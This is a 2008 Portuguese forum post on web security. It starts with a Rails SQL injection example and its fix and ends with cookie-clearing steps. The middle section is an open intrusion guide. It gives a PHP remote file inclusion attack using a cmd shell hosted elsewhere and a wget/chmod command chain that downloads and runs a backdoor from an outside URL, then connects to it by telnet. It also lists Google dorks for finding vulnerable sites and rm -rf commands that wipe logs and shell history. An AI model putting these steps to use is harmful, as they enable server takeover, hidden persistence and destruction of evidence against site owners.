sql e etc

Started by Sh0rtKiller, 17 de July , 2008, 12:12:41 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Sh0rtKiller

Segurança de web sites
               



Quando se planeja o desenvolvimento de um site, uma das coisas
mais importante e a segurança.
É comum vemos sites serem "hackeados" por falhas descobertas pelos defacer
essas falhas são encontradas muitas  vezes pela preguiça de administradores
que pegam na web scripts prontos que vem com diversas falhas
assim prejudicando ao site.

Uma falha de segurança bem conhecida e a falha chamada de  SQL INJETION.

O que e sql injection

Sql injection  grave na criação de sites porque um usuario malicioso poderia tentar ter acesso root  ao sistema, modificando a pagina inicial do site e etc
Mostrarei um codigo com falha de sql injection

Quoteclass User < ActiveRecord::Base
  def login
    @user = User.find(:first,
                 :conditions => "login = '#{params[:name]}'
                 AND password = '#{params[:password]}'")
  end
end

o erro desse codigo esta em # ele e perigoso porque substitui  diretamente a variavel sem
nenhum tratamento

entao o usuario poderia poderia ate conseguir acesso root  ao sistema observe porque

Quoteparams[:name] = ' OR '1'='1
params[:password] = ' OR '1'='1

esse seria o nome e senha = ' OR '1'='1 entao o usuario poderia entrar em uma area restritas com esse  nome e senha

vamos entender porque. Isso geraria a seguinte consulta no banco de dados

Quoteselect * from users where login='' OR '1'='1' AND
                          password='' OR '1'='1' LIMIT 1
com essa consulta o usuario entraria no site com o primeiro usuario cadastrado
no banco de dados muitas vezes sendo um administrador teste ou o administrador legitimo  a cláusula  "or" sempre sera true o "select' sem cláusula where retornaria a tabela inteira mas usando o "LIMIT 1"  o primeiro usuario do banco de dados sera
retornado

veja esse codigo q mostra como resolver essa falha

Quotedef login
    @user = User.find(:first,
            :conditions => ["login = ? AND password = ?"
            ,params[:name],params[:password]])
  end

agora trocamos para a condição via array sendo o primeiro indice , a conição dita e partir do segundo índice, as variáveis, já tratadas pelo Rails, que serão substituídas pelo símbolo ?  em mesma hora que os simbolos aparecem asssim evitando a falha 
SQL INJECTION.


Outra flha bem conhecida e php injection 

Php injection

A vulnerabilidade php injection acontece muitas vezes por desconhecimento ou falha do web master esse falha acontece por esses web master colocarem "includes"sem verificar,
as "strings"
exeplo de script vulneravel

Quoteinclude('topo.php');
include('menu.php');
include($page);

exitem varias strings  a mas comun entre essas e a string page exemplo de um site ficticio

Quotewww.exemplo.com.br /index.php?page=noticias.php

esse exemplo carregaria a pagina noticias.php se ela for vulneravel conseguiriamos injetar codigos maliciosos que executam comandos por isso o nome (php injection)

vamos supor que isso seria uma cmd

Quotehttp://www.cdm.com.br/xpl/cmd.gif?&cmd=ls

entao você temtaria assim

Quotehttp://www.exmplo.com.br/index.php?pag...md.gif?&cmd=ls

então se a pagina for vulneravel ela vai carregar mas se ela funcionar  e estiver em safe mode que e uma opição do php.ini entao vai listar os arquivos do site (comando ls).
Depois disso você pode usar sua criatividade rodar backdoor para ter acesso remoto (por telnet/putty), pacotar pessoas e servers, configurar psybnc, etc.. Se precisar? saber alguns comandos de Linux/FreeBSD/SunOS..

QuoteBackdoor http://rock-spartx.awardspace.com/xpl/r0nin

Para usar coloque no 'cmd' cd /tmp;wget

Quotehttp://www.cdm.com.br/xpl/r0nin;chmod 777 r0nin;./r0nin

Então você entra na pasta tmp, baixa a backdoor (exploit), coloca permissão para o arquivo e roda ele
Por exemplo:
Quotehttp://www.exemplo.com.br/index.php?pag...0r0nin;./r0nin

Se tudo der certo e o sistema nao estiver protegido por um firewall você vai em iniciar>executar>telnet > www.exemlo.com.br 1666 pronto você esta na maquina

Ai esta uma pequena  lista para procurar sites vuls no google nao todos estaram vuls


   
Quoteallinurl:".php?cont="
allinurl:".php?c="
allinurl:".php?meio="
allinurl:".php?x="
allinurl:".php?cat="
allinurl:".php?site="
allinurl:".php?m="
allinurl:".php?do="
allinurl:".php?x="
allinurl:".php?content="
allinurl:".php?pagina="
allinurl:".php?root="
allinurl:".php?include="
allinurl:".php?open="
allinurl:".php?visualizar="
allinurl:".php?conf="

ai vais alguns comandos uteis para apagar logs

Quoterm -rf /var/log
rm -rf /var/adm
rm -rf /var/apache/log
rm -rf $HISTFILE
find / -name .bash_history -exec rm -rf {} ;
find / -name .bash_logout -exec rm -rf {} ;
find / -name log* -exec rm -rf {} ;
find / -name *.log -exec rm -rf {} ;

cookies
os cookies são utilizado pelos sites para armazenar informações sobre os visitantes como senha e etc...
os cookies sao arquivos de texto que ficam no computador do internauta eles podem ser recuperados pelo site q o enviou enquanto voce navegava
os cookies são armazenados mas todos eles tem uma data de vencimento e epois dessa data sao eliminidos.
A eliminação antes do vencimento poe ser feita pelo usuario mas o armazenamento e remoção desses biscoitos kk e diferente em cada navegador

Para remover cookies do internet explorer você entrara em ferramentas >opções de internet>geral e clicar em excluir arquivos a remoção dos arquivos temporarios sao imcluidos na remoção dos cookies tambem

Para remover os cookies do firefox basta
Clique no menu ferramentas do navegador.>selecione opções no menu> clique na guia privacidade>Na seção mediana, clique no botão limpar ao lado da palavra Cookies.
clique no botão OK da janela Opções.

galera simples mas espero q gostem